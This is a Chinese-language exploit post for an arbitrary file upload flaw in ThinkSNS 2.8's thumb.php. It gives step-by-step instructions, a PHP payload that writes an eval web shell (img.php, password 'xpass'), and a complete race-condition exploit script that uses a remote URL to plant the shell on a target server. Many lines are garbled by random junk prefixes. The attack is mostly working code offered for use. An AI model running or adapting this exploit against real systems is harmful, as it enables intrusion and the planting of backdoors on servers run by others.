Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
) M: n1 x9 ]7 _漏洞文件
+ L/ q, [9 T; i; X" e% Q/ Y存在漏洞的文件为：thumb.php
/ I3 G- C# b* J* j# D# Z作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
2 k- u( Y! j* q/ ?<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
- v% j) V/ [& A+ K4 p# K& [# Y/ k
3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
<?php
! p4 A  j; h/ L/ k3 F/ ferror_reporting(0);
* H3 C$ }2 l6 o/ {+ I9 Z$ V  ^, Eset_time_limit(0);
ini_set(“default_socket_timeout”, 5);
' W& Z$ ?' G0 r  a8 ]& ]' H# Afunction http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
4 q. ~' W: M' J+ ^$ J- zfputs($fp, $headers);
return $fp;
}
function http_recv($fp) {
+ {  ^* t7 K9 v' e$ret=”";
& W& |6 Z0 J- Owhile (!feof($fp))
$ret.= fgets($fp, 1024);
fclose($fp);
# [3 Y2 n; r3 ^return $ret;
}
+ L) k4 Z+ e4 m9 ~8 ^print “\n#  ThinkSns Arbitrary File Upload   #\n”;
2 C) G+ i+ \% q- R+ Hprint “# Discovered by 韦鲲鹏 #\n\n”;
; P7 Q: c" N( b1 M1 jif ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
5 B' u# s; d: Z' s0 Eprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
2 ?) R+ e% W8 w- e4 J- Gdie();
: c- a2 \9 g9 n: ^- ~. o}
+ Z: X/ t$ v5 t# x8 D5 u; x$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
6 y9 i- Z! d/ M9 p$i=0;
//上传数据包
: y" P- N3 y; P: j* ]3 F  \+ z# B& F8 N$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
9 a5 x6 ]0 }! h: M//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
( k$ ?0 w; O$ v6 l2 O8 g$headers .= “Connection: close\r\n\r\n”;
0 g3 {$ m6 h: Recho $headers;
while(++$i<10) {
3 M- n# D+ B7 w. |2 c2 Lfclose(http_send($host, 80, $headers));
/ U) Q+ U  X! k7 s/ R: l0 g+ o' B}
, X( m- H) A! W3 L4 X" s" Hfclose(http_send($host, 80, $headers_up));
' \4 x7 \) B( }/ bwhile(++$i<50) {
& P% j' w8 i2 ^$ S' ^# ?fclose(http_send($host, 80, $headers));
3 c) Q* j4 S$ T+ |}
: p2 h0 I% F6 i$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
2 H# u6 b! _  ^# f: d, t( C+ p/ w$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
} else {
7 ]$ m+ W' w1 M. F2 V. ]6 Lprint “Fail!\n\n”;
( a8 m5 q3 q3 t' e) z8 m3 v4 |4 p}
, b+ X$ \: L& q! q. Z; a" d?>
+ B; M9 }  K# M' q, ?$ K​